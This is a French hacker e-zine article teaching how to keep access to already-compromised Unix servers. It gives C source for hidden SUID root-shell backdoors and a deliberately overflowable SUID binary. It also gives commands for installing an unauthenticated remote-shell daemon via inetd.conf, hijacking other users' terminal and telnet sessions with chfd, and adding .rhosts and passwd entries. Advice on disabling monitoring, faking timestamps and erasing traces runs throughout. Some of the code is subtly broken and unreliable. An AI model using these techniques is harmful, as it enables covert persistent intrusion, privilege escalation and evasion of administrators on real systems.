BACKDOORS |
Introduction
Pour mon premier article pour Tipiak, je vais vous parler des backdoors et surtout
vous en montrer quelques unes. Pour lire cet article, il vous faut un minimum
de connaissances en matiere de UNIX/Linux et de programmation en C (les bases
suffisent largement).
Deja, pour les newbies nous allons definir le terme de "backdoor".
Une backdoor est un programme, un script ou encore une configuration qui permet
au hacker de revenir sur un serveur qu'il a deja roote sans devoir refaire toute
la demarche qu'il a fait pour ce hack. En clair, une backdoor est une sorte
de trojan evolue (beaucoup BEAUCOUP plus evolue). Ok, certains d'entre vous
se demandent souvent a quoi ca sert de revenir sur ses pas. A ceux la je repondrai
ceci : on peut avoir diverses raisons pour revenir sur un serveur. Ces raisons
peuvent etre l'oubli d'effacer une partie de ses traces (ouais bon, ca c'est
rare et faut pas etre bien fin), employer ce serveur comme base pour driver
des attaques sur d'autres serveurs (en effet, le serveur aura certainement une
meilleur connexion que vous, donc vous serez plus puissant, et c'est le serveur
qui sera logge sur la cible et non vous), ... En bref, on a toujours de bonnes
raisons pour poser des backdoors.
On peut distinguer deux types de backdoors : celles qui permettent de regagner
un access sur le serveur et celles qui permettent de reprendre le root sur ledit
serveur (bien sur on peut combiner les deux).
Precautions
a prendre
Avant de poser nos backdoors tout comme en les posant, il va falloir prendre
un maximum de precautions. Deja, on veut garder notre hack discret et donc se
demerder pour que l'admin ne se rende pas compte qu'il s'est fait pirate, ensuite
on ne veut pas que l'admin tombe sur nos backdoors et nous les vire, donc il
va falloir faire gaffe. La premiere chose a faire, c'est de verifier si aucun
programme de surveillance ne tourne. Pour cela, on va faire un petit ps -e qui
va nous dire quels processus sont en train de tourner. Si vous voyez un truc
du style :
# ps -ax
PID
|
TTY
|
STAT
|
TIME
|
COMMAND
|
---|---|---|---|---|
1
|
?
|
S
|
0:03
|
init [3] |
2
|
?
|
SW
|
0:00
|
(kflushd) |
3
|
?
|
SW<
|
0:00
|
(kswapd) |
4
|
?
|
SW
|
0:00
|
(md_thread) |
5
|
?
|
SW
|
0:00
|
(md_thread) |
36
|
?
|
S
|
0:00
|
/sbin/kerneld |
172
|
?
|
S
|
0:00
|
syslogd |
181
|
?
|
S
|
0:00
|
klogd |
203
|
?
|
S
|
0:00
|
crond |
215
|
?
|
S
|
0:00
|
inetd |
226
|
?
|
S
|
0:00
|
/usr/sbin/snmpd |
237
|
?
|
S
|
0:00
|
named |
248
|
?
|
S
|
0:00
|
routed |
260
|
?
|
S
|
0:00
|
rpc.rusersd |
271
|
?
|
S
|
0:00
|
rwhod |
287
|
?
|
S
|
0:00
|
sendmail: accepting connections on port 25 |
299
|
?
|
S
|
0:00
|
gpm -t ps/2 |
310
|
?
|
S
|
0:00
|
httpd |
341
|
?
|
S
|
0:00
|
smbd -D |
350
|
?
|
S
|
0:00
|
nmbd -D |
369
|
4
|
S
|
0:00
|
/sbin/mingetty tty4 |
370
|
5
|
S
|
0:00
|
/sbin/mingetty tty5 |
371
|
6
|
S
|
0:00
|
/sbin/mingetty tty6 |
373
|
?
|
S
|
0:00
|
update (bdflush) |
430
|
1
|
S
|
0:00
|
-bash |
534
|
?
|
S
|
0:00
|
inetd |
569
|
1
|
R
|
0:00
|
ps -ax |
(bon vous aurez
carrement plus de lignes mais je prend un exemple chez moi)
Je disais donc, si vous voyez un truc de ce style c'est bon signe par contre
si au milieu de tout ca vous voyez un nom du style "alarm" ou autre
c'est peut etre problematique. Killez le et etudiez le tranquillement avec gdb
si vous le pouvez (connaissances en ASM requises) histoire de voir ce qu'il
fait, agissez en fonction du programme : si il log des trucs dans un fichier,
effacez vos traces de ce fichier, si il matte les nouveaux SUID, killez le le
temps de poser vos doors... Bon, je pense que vous cernez le probleme et que
vous voyez comment s'en debarrasser, par contre une fois le tout pose, relancez
le programme histoire que l'admin hallucine pas en voyant sa belle merde killee!
Evidemment, il n'y a pas que les processus a regarder, il y a aussi les crontabs. Je n'exposerai rien la dessus vu que c'est tres connu, regardez juste les crons du root et agissez comme pour les processus, sauf que la si un programme mate les nouveaux SUID ou un truc du style, virez le carrement des crons ou alors effacez le et remplacez le par un programme 'made in vous' qui fait quelque chose de bien special (evidemment donnez le meme nom que l'alarme qu'il est cense remplacer et surtout faites pas la connerie de reactiver l' alarme). Si vous avez un probleme avec les crons, rappelez vous que la commande 'man' peut toujours servir.
Maintenant qu'on a desactive toutes les alarmes automatiques potentielles (bah vi je dis automatique parce que si le root les execute a la main vous pouvez toujours vous gratter pour les trouver...a moins d'eplucher tous les programmes du serveur) il va falloir les planquer nos backdoors car il est evidemment hors de question de mettre un truc dans le home du root du style :
-rwsr-sr-x 1 root root 0 Apr 17 03:39 BACKDOOR
C'est un petit
peu voyant comme affaire! Au lieu de ca, on va parcourir l'arborescence du serveur
jusqu'a tomber sur des repertoires du style :
/usr/X11/bin
Dans ce repertoire sont stockees les commandes de X-Windows, elles sont nombreuses
et certaines sont SUID ce qui fait que c'est un endroit assez ideal pour planquer
nos doors. Evidemment, il y a beaucoup mieux comme les repertoires ou sont stockes
des fichiers de config, de demarrage... Mais les bin sont assez sympas. Apres
avoir trouve ce repertoire, on regarde un peu les nom des fichiers dedans :
# ls|more
ASSound
Animate
AnotherLevel
Audio
Auto
Banner
Cascade
Clean
Form
Ident
Pager
Pager_noxpm
RunWM
RunWM.AfterStep
RunWM.Fvwm95
RunWM.MWM
RunWM.WindowMaker
STOP! On s'arrete la : on viens de trouver des noms bien trash (meme s'ils ne representent ici en fait que les noms des modes graphiques de X : motif, afterstep...). Ok, voyons notre fichier backdoor va recevoir un nom en fonction de celui de ces fichiers. RunWM.Motif sera parfait pour l'illusion (arf! et MWM alors? ;). Ok, mais si l'admin mate bien le fichier il verra qu'il est plus recent que ses petits camarades a cause de cette putain de commande "ls -l". Qu'a cela ne tienne, on va le rendre un petit peu plus vieux, aussi age que ses collegues :) grace a la commande touch :
# touch -r RunWM.MWM RunWM.Motif
Ceci aura pour effet de mettre a RunWM.Motif la meme date de derniere modification que RunWM.MWM. La syntaxe est :
#touch -r <fichier de reference> <fichier dont on veut changer la date>
Neanmoins, il ne faut pas oublier un petit truc : apres avoir compile notre door, nous allons la "stripper" : nous allons virer du binaire la table des symboles, les bits de realocation et les infos placees par les debugger ce qui aura pour effet d'abaisser la taille du binaire et donc de le rendre encore plus invisible...
# strip Run.WM.Motif
Voila, notre fichier est bien au chaud, on retourne a la maison :
# cd
Bien, maintenant on s'arrache en effacant bien nos traces et reactivez les alarmes a reactiver. Oubliez pas d'effacer tous les petits .c et autres choses du genre qui vont on servit et N'OUBLIEZ JAMAIS D'EFFACER VOS TRACES A CHAQUE SERVEUR VISITE, MEME SI VOUS ETES VENU GRACE A L'AIDE D'UNE DE VOS BACKDOORS!
Backdoor
setuid(), setgid()
Cette backdoor est vraiment simple et vous permet de rechopper le root.
Voici le source :
-------------------------------------------------------------------------------
#include <stdio.h>
#include <unistd.h>
main(int argc,char *argv[])
{
if(argv[1]="rootme") {
setuid(0);
setgid(0);
system("/bin/sh");
} else {
printf("Bus Error\n");
return 0;
}
-------------------------------------------------------------------------------
Ok, cette door est vraiment simple : si elle est appelee avec l'argument rootme,
le processus de la door va voir ses UID et GID mis a 0,
c'est-a-dire avec l'identifiant root, donc toute fonction appelee ensuite sera
executee as root, c'est le cas de la fonction system() qui nous sort un petit
shell ici, et comme le processus est as root, on a un shell root :))), sans
l'argument rootme, le programme affiche "bus error" et se termine.
Planquez le comme je vous l'ai explique plus haut, mettez le SUID et executable
pour tous. Ce qui a de pas mal, c'est que pour que ce truc marche comme on veut
(c'est-a- dire qu'il nous root), il faut connaitre le bon argument, sinon, le
programme affiche une fausse erreur et se termine. Cela dit, il est possible
de faire du meme genre mais en mieux :
-------------------------------------------------------------------------------
#include <stdio.h>
#include <unistd.h>
main(int argc, char *argv[])
{
if(argv[0]==".Xenvprofile") {
setuid(0);
setgid(0);
system("/bin/sh");
} else { printf("Bus error\n"); }
return 0;
}
-------------------------------------------------------------------------------
Ok, une fois qu'on aura compile ce code et nomme Run.Motif, on le rendra world
writable et SUID root. Quand on voudra reprendre le root, on se prendra pas
la tete : on cree un lien symbolique vers Run.Motif nomme .Xenvprofileet on
l' execute, ce qui nous mets root (if(argv[0]==".Xenvprofile"), comme
on appelle le programme avec .Xenvprofile on nous mets root, le programme etant
appele
avec ce nom a travers le lien symbolique...). Une fois root, on efface notre
lien. Deja qu'il y avait peu de chances pour qu'une personne exterieure trouve
le bon argument (exemple precedent), la pour deviner qu'il faut creer un lien
qui porte tel nom, faut avoir un QI de plus de 10000 et une chance enorme.
Backdoor
buffer overflow
Je deconseille l'utilisation de cette door : il y a plus simple et moins chiant,
enfin voici le principe quand meme... Nous allons coder un tout petit programme
qu'on pourra overflower facilement. Il nous suffira de le rendre root SUID et
de coder un BoF contre a l'aide de gdb. Voila le code d'un programme exploitable
:
-------------------------------------------------------------------------------
#include <stdio.h>
main()
{
char exploit[50];
gets(exploit);
return 0;
}
-------------------------------------------------------------------------------
Je ne compte pas expliquer comment faire un buffer overflow car cette technique
merite un article a elle seule. Si vous avez des problemes, allez lire Phrack50,
"Smashing the stack for fun and profit", de Aleph1.
Backdoor
login
Cette backdoor est tres interessante puisqu'elle nous permet de gagner un access
et aussi de passer root (et oui, les deux en meme temps). Le fichier /bin/login
est un executable lance a chaque connexion telnet entrante et a chaque fois
qu'un user veut se logguer : login se lance au demarrage et fait une demande
d'authentification et ensuite realise les operations necessaires au lancement
correct du reste des applications (shells,...). Malheureusement, vu la taille
du fichier source de login, il m'est impossible de vous decrire
avec precision comment il fonctionne et comment installer la backdoor. En gros,
il suffit de rajouter une commande qui fait que si vous entrez un certain login
et un certain password, /bin/login vous file un shell root et bien sur UID 0
(vraiment pas difficile a coder). Sinon, pour le faire, je suis quand meme charitable
(arf :) je vous file login.c
Backdoor
serveur
Cette door requiert des connaissances de bases en programmation reseau (oh,
tiens, ca tombe bien : un article de ce mag en parle :). Le but est simple :
nous allons coder un serveur qui ouvre le port 35789 (par exemple) et qui accepte
des commandes shell en remote (en clair, un telnetd sur un port autre que le
23 et qui saute l'authentification). Je ne donnerai pas d'exemple de code d'une
telle backdoor car il suffit d'aller lire l'article sur la prog reseau si vous
n'y connaissez rien ou d'aller D/L celle que Alecs est en train de faire une
fois qu'elle sera finie. Neanmoins, je vais vous montrer comment la laisser
active, meme si la machine reboot pour une raison ou une autre. Deja, nous n'allons
pas la cacher comme les autres backdoor : on va la planquer au milieu des autres
demons, a savoir dans le repertoire /usr/sbin/. Ensuite, on va la nommer avec
un nom a la con qui passe bien (du style userd). Enfin, on va la rajouter dans
le fichier inetd.conf. Inetd est la GRAND demon des systemes UNIX : au lieu
d'utiliser 15000 demons tournant en meme temps chacun ecoutant sur son port,
UNIX utilise un seul demon qui ecoute tous les ports et qui lance le demon d'un
port specifique qu'en cas de besoin (c'est-a-dire lorsqu'une connexion arrive
sur le port en question). Les differents ports que gere inetd et la maniere
dont il les gere est stockee dans le fichier /etc/inetd.conf. Le truc va etre
donc de rajouter notre backdoor dans les
entrees de inetd... Par exemple : (les # ne sont pas a tapper)
#
gcc -o backdoor backdoor.c /* on compile la backdoor */
# chmod a+s /* on se la rend suid
ca peut toujours servir */
# rm backdoor.c /* on vire notre source
*/
# mv ./backdoor /usr/sbin/userd /*
on la bouge en la renommant */
# cat /etc/inetd.conf /* on matte
le fichier inetd.conf */
<---------------------------[inetd.conf]-------------------------------------->
# valuable to potential "system crackers." Many sites choose to disable
# some or all of these services to improve security.
#
# cfinger is for GNU finger, which is currently not in use in RHS Linux
#
finger stream tcp nowait
root /usr/sbin/tcpd in.fingerd
#cfinger stream tcp nowait root
/usr/sbin/tcpd in.cfingerd
#systat stream tcp nowait guest
/usr/sbin/tcpd /bin/ps -auwwx
#netstat stream tcp nowait guest
/usr/sbin/tcpd /bin/netstat -f inet
#
# Time service is used for clock syncronization.
#
time stream tcp
nowait nobody /usr/sbin/tcpd in.timed
time dgram udp wait
nobody /usr/sbin/tcpd in.timed
#
# Authentication
#
auth stream tcp nowait
nobody /usr/sbin/in.identd in.identd -l -e -o
#
# End of inetd.conf
(PS: je mets que la fin du file, le but est d'en voir la gueule pas le contenu)
<----------------------------------------------------------------------------->
# echo "user stream tcp nowait nobody /usr/sbin/userd" >> inetd.conf
/* on rajoute notre door dans les entrees de inetd */
# killall -HUP inetd /* on met a jour inetd */
# exit /* le job est finit, on s'arrache */
Bon, en gros vous
aurez pige le principe. Si vous voulez paraitre encore moins
louche vous pouvez aussi editer /etc/services.
HiJacking
de session
A la base ceci n'est pas du tout une backdoor, mais on peut l'utiliser comme
tel. Son gros defaut est que, pour qu'elle soit efficace, il faut qu'un autre
user soit connecte au reseau (en local et en root de preference). Le but va
etre de hijacker la session de l'autre user en utilisant les descripteurs de
fichiers (voir Phrack 51, "File Descriptor HiJacking" de orabidoo
pour plus de precisions). Il est a noter que la methode presentee ne fonctionnera
que sur Linux ou FreeBSD...
Chaque fichier
manipule par un processus est identifie localement dans celui-ci par un descripteur
qui est un indice dans une table propre au process. Les descripteurs de fichiers
les plus courants sont :
*
le descripteur 0, qui correspond a l'entree standard
* le
descripteur 1, qui correspond a la sortie standard
* le
descripteur 2, qui correspond a la sortie erreur standard
Pour chaque processus, le noyau a une table de FDs (=file descriptors, descripteurs
de fichiers) avec un pointeur pointant vers une structure pour chaque fd. Ces
pointeurs valent NULL si le fd qui leur est associe n'est pas ouvert. La structure,
elle, avec des pointeurs, sert a stocker des infos sur le fd (si c'est un fichier,
un socket, une pipe (ou un?), la table d'inode du fichier...).
Generalement, la table des processus est un tableau ou une liste de structure
liee. On peut facilement trouver un pointeur pointant vers la table de fd interne
d'un process donne a partir de la structure de ce process. Pour plus d'infos
sur ces tables, regardez sched.h sous Nux ou proc.h sous BSD.
Bon, je vais vous epargner les details techniques puisqu'on est la pour parler de backdoors et de rien d'autre, si vous avez besoin de ces details, allez lire phrack. En gros, le principe de notre backdoor va etre de permettre d'echanger le fd d'un process avec celui d'un autre process. Pour cela, nous allons utiliser chfd (change file descriptors) dont les sources sont livrees dans l'article de Phrack. Compilez ce prog puis mettez le SUID root et planquez le a cote des chown, chgrp, chmod et autres tout en le mettant a la meme date que ces derniers (voir plus haut). Voila pour la planque, maintenant voyons l'utilisation :
Utilisation
1
Un user est tranquillement en train de bosser sur un TTY avec un shell de type
BASH de PID 5315. Nous, on est sur un TTY avec un shell de type BASH de PID
5106. Voila ce que nous allons faire pour hijacker la session de l'autre user
:
$
cat > fd
sleep 10000
chfd 5315 0 0 0 5106 0
chfd 5315 1 0 0 5106 1
chfd 5315 2 0 0 5106 2
^C
$ fd
Et nous voila avec la session de l'autre user redirigee entierement vers nous. Son entree standard est redirigee vers la notre, sa sortie standard est redirigee vers notre sortie standard et sa sortie erreur standard est redirigee vers notre sortie erreur standard : comme si on avait pousse l'user de sa machine pour s'y installer a sa place. Pendant que vous controlerez son BASH, tout ce que le mec tappera ira au /dev/null :),(pas la peine de vous preciser ce que ca veut dire :). Quand vous ferez un chtit exit, vous reviendrez a votre shell de depart, sur le sleep 10000 que vous n'aurez plus qu'a terminer (^C).
Utilisation
2
Cette utilisation n'est pas une backdoor mais je la met quand meme car elle
est bien utile. Imaginez qu'un user soit en plein Telnet vers un autre reseau,
Telnet qui a pour PID le numero 2300. Pour se farcir ledit reseau se serait
pratique d'etre a la place du gars puisque lui y a un acces... Et ben on va
lui balancer un chfd dans les dents, pour se retrouver a sa place et du coup
profiter de son acces. Nous allons nous aussi lancer un Telnet, vers un serveur
lointain, sur le port 7 (port echo) qui aura pour PID 1235. Seulement un probleme
se pose : on connait le numero de FD des entree, sortie et sortie erreur standards
mais on n'a pas le FD de la connexion telnet. Pas de panique! Un ptit cat sur
/proc/1235/fd et /proc/2300/fd nous dira ce qu'il nous faut. Si on voit l'utilisation
des fds 0,1,2 et 3, comme on sait a quoi correspondent 0, 1 et 2 on en deduit
que 3 correspond a la correction...et roule ma poule! La on peut faire peter
: $ chfd 2300 3 1235 3 0 0. Hopla, on a tout!
Backdoors
classiques
Ok, ici je vais vous presenter deux ou trois backdoors tres classiques. Perso,
je ne les trouve pas dementes mais elles peuvent toujours servir :
/etc/passwd
Le truc ici
est de rajouter un autre user dans le /etc/passwd, le tout sans mot de passe
de preference et avec un bel acces. Le probleme est que cela se rode a 300Km,
puisque le /etc/passwd est souvent controle par les admins quand ces derniers
n'ont pas ecrit un programme qui le fait a leur place.
rlogin
Encore un truc voyant. La on installe un access sur une RPC (remote procedure
call). Le but est de faire un "cat "+ +"> .rhosts" dans
le repertoire personnel d'un user. Pour revenir sur le reseau, on n'aura plus
qu'a faire un "rlogin victim.com -l nom_du_user" ou nom_du_user est
le login de l'account auquel vous avez mis un .rhosts dans le repertoire personnel.
Cela necessite que le port login soit ouvert.
troyen
C'est un script ou un programme place dans le repertoire personnel d'un user
qui sera bien voyant avec un nom explicite : du style SECURITE. Vu que cela
touche un domaine important, l'user va executer SECURITE. Les effets peuvent
etre variables : ca peut simuler un reboot puis un login prompt pour que les
infos tappees par l'user vous soit mailees,...
Il existe d'autres doors bien classiques, en faire la liste serait trop long...
Conclusion
Voila, c'est tout pour cet article qui avait pour but de vous presenter une
ou deux backdoors histoire de vous donner des idees. J'espere que ca vous servira
par la suite. Si vous avez des questions, des commentaires, des remarques ou
des erreurs a me signaler (car des erreurs il y a c'est sur) : judicious@tipiak.net